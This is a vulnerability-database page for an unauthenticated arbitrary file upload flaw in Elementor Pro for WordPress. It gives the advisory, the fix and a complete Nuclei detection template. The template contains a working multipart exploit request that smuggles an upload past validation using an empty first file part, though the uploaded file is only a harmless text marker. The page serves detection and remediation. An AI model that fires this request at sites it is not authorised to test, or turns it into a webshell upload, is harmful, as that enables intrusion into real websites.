Browse / CVEs / CVE-2026-32475
CVE-2026-32475· elementor / elementor-pro· CWE-434
Elementor Pro <=4.2.1 - Unauthenticated Arbitrary File Upload via Form Handler
Elementor Pro plugin for WordPress in versions <=4.2.1 is vulnerable to unauthenticated arbitrary file upload in the Forms module File Upload field. The validation() and process_field() methods iterate over submitted file entries with different early-exit logic for UPLOAD_ERR_NO_FILE entries. When an attacker submits two file parts for the same upload field — an empty first entry (blank filename triggering UPLOAD_ERR_NO_FILE) followed by a payload — validation() returns early after the empty entry without ever type-checking the payload, while process_field() only skips (continue) the empty entry and moves the payload to wp-content/uploads/elementor/forms/. The AJAX action elementor_pro_forms_send_form requires no authentication or nonce.
Impact
Unauthenticated remote code execution is achievable by uploading a PHP file to a web-accessible public directory (wp-content/uploads/elementor/forms/). Any file type can bypass the extension blocklist, including PHP webshells.
Fix
Update Elementor Pro to version 4.2.2 or later. The fix aligns the validation() and process_field() loops to consistently handle empty file entries.
How to confirm it
Send: GET {{BaseURL}}/wp-content/plugins/elementor-pro/readme.txt
Positive when: contains "Elementor Pro"
Send: GET {{BaseURL}}
Positive when: contains "elementor-form" and "type=\"file\""
Send: POST /wp-admin/admin-ajax.php
Positive when: contains "\"success\":true" AND status 200 AND not contains "not_allowed" or "are not allowed to access this page" or "permission_denied" or "invalid_nonce"Run it with nuclei: nuclei -id CVE-2026-32475 -u <target>
The full check
id: CVE-2026-32475
info:
name: Elementor Pro <=4.2.1 - Unauthenticated Arbitrary File Upload via Form Handler
author: pdteam
severity: critical
description: |
Elementor Pro plugin for WordPress in versions <=4.2.1 is vulnerable to unauthenticated arbitrary file upload in the Forms module File Upload field. The validation() and process_field() methods iterate over submitted file entries with different early-exit logic for UPLOAD_ERR_NO_FILE entries. When an attacker submits two file parts for the same upload field — an empty first entry (blank filename triggering UPLOAD_ERR_NO_FILE) followed by a payload — validation() returns early after the empty entry without ever type-checking the payload, while process_field() only skips (continue) the empty entry and moves the payload to wp-content/uploads/elementor/forms/. The AJAX action elementor_pro_forms_send_form requires no authentication or nonce.
impact: |
Unauthenticated remote code execution is achievable by uploading a PHP file to a web-accessible public directory (wp-content/uploads/elementor/forms/). Any file type can bypass the extension blocklist, including PHP webshells.
remediation: |
Update Elementor Pro to version 4.2.2 or later. The fix aligns the validation() and process_field() loops to consistently handle empty file entries.
reference:
- https://patchstack.com/articles/critical-unauthenticated-file-upload-to-rce-in-elementor-pro-plugin/
- https://nvd.nist.gov/vuln/detail/CVE-2026-32475
- https://github.com/absholi7ly/Elementor-Pro-Unauthenticated-Arbitrary-File-Upload-to-RCE
- https://www.bleepingcomputer.com/news/security/critical-elementor-pro-bug-exposes-wordpress-sites-to-rce-attacks/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.0
cve-id: CVE-2026-32475
cwe-id: CWE-434
epss-score: 0.01995
epss-percentile: 0.80876
metadata:
verified: true
max-request: 3
vendor: elementor
product: elementor-pro
framework: wordpress
fofa-query: body="/plugins/elementor-pro/"
shodan-query: html:"/plugins/elementor-pro/"
publicwww-query: "/wp-content/plugins/elementor-pro/"
tags: cve,cve2026,elementor,elementor-pro,wordpress,wp-plugin,file-upload,unauth,rce,intrusive,vkev,vuln
variables:
marker: "{{rand_text_alpha(12)}}"
fname: "{{rand_text_alpha(8)}}.txt"
flow: http(1) && http(2) && http(3)
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/elementor-pro/readme.txt"
matchers:
- type: word
words:
- "Elementor Pro"
internal: true
- method: GET
path:
- "{{BaseURL}}"
extractors:
- type: regex
name: post_id
group: 1
regex:
- 'name="post_id"\s+value="(\d+)"'
- '"post_id"\s*:\s*"?(\d+)"?'
internal: true
- type: regex
name: form_id
group: 1
regex:
- 'name="form_id"\s+value="([a-f0-9A-F]{4,16})"'
- '"form_id"\s*:\s*"([a-f0-9A-F]{4,16})"'
internal: true
- type: regex
name: field_id
group: 1
regex:
- 'name="form_fields\[([^\]]+)\]"\s[^>]*type="file"'
- 'type="file"\s[^>]*name="form_fields\[([^\]]+)\]"'
internal: true
- type: regex
name: text_field
group: 1
regex:
- 'name="form_fields\[([^\]]+)\]"\s[^>]*type="text"'
- 'type="text"\s[^>]*name="form_fields\[([^\]]+)\]"'
internal: true
- type: regex
name: email_field
group: 1
regex:
- 'name="form_fields\[([^\]]+)\]"\s[^>]*type="email"'
- 'type="email"\s[^>]*name="form_fields\[([^\]]+)\]"'
internal: true
matchers:
- type: word
words:
- "elementor-form"
- 'type="file"'
condition: and
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=WebKitFormBoundarySBDsMGAl
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Connection: close
--WebKitFormBoundarySBDsMGAl
Content-Disposition: form-data; name="action"
elementor_pro_forms_send_form
--WebKitFormBoundarySBDsMGAl
Content-Disposition: form-data; name="post_id"
{{post_id}}
--WebKitFormBoundarySBDsMGAl
Content-Disposition: form-data; name="form_id"
{{form_id}}
--WebKitFormBoundarySBDsMGAl
Content-Disposition: form-data; name="queried_id"
{{post_id}}
--WebKitFormBoundarySBDsMGAl
Content-Disposition: form-data; name="referrer"
{{BaseURL}}
--WebKitFormBoundarySBDsMGAl
Content-Disposition: form-data; name="form_fields[{{text_field}}]"
Test User
--WebKitFormBoundarySBDsMGAl
Content-Disposition: form-data; name="form_fields[{{email_field}}]"
[email protected]
--WebKitFormBoundarySBDsMGAl
Content-Disposition: form-data; name="form_fields[{{field_id}}][0]"; filename=""
Content-Type: application/octet-stream
--WebKitFormBoundarySBDsMGAl
Content-Disposition: form-data; name="form_fields[{{field_id}}][1]"; filename="{{fname}}"
Content-Type: text/plain
CVE-2026-32475-PoC-{{marker}}
--WebKitFormBoundarySBDsMGAl--
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"success":true'
- type: status
status:
- 200
- type: word
part: body
words:
- "not_allowed"
- "are not allowed to access this page"
- "permission_denied"
- "invalid_nonce"
- "rest_forbidden"
negative: true
extractors:
- type: regex
part: body
name: upload_confirmed
regex:
- '"success"\s*:\s*true'References
- https://patchstack.com/articles/critical-unauthenticated-file-upload-to-rce-in-elementor-pro-plugin/
- https://nvd.nist.gov/vuln/detail/CVE-2026-32475
- https://github.com/absholi7ly/Elementor-Pro-Unauthenticated-Arbitrary-File-Upload-to-RCE
- https://www.bleepingcomputer.com/news/security/critical-elementor-pro-bug-exposes-wordpress-sites-to-rce-attacks/
Use this check only on systems you are authorised to test. Where the data comes from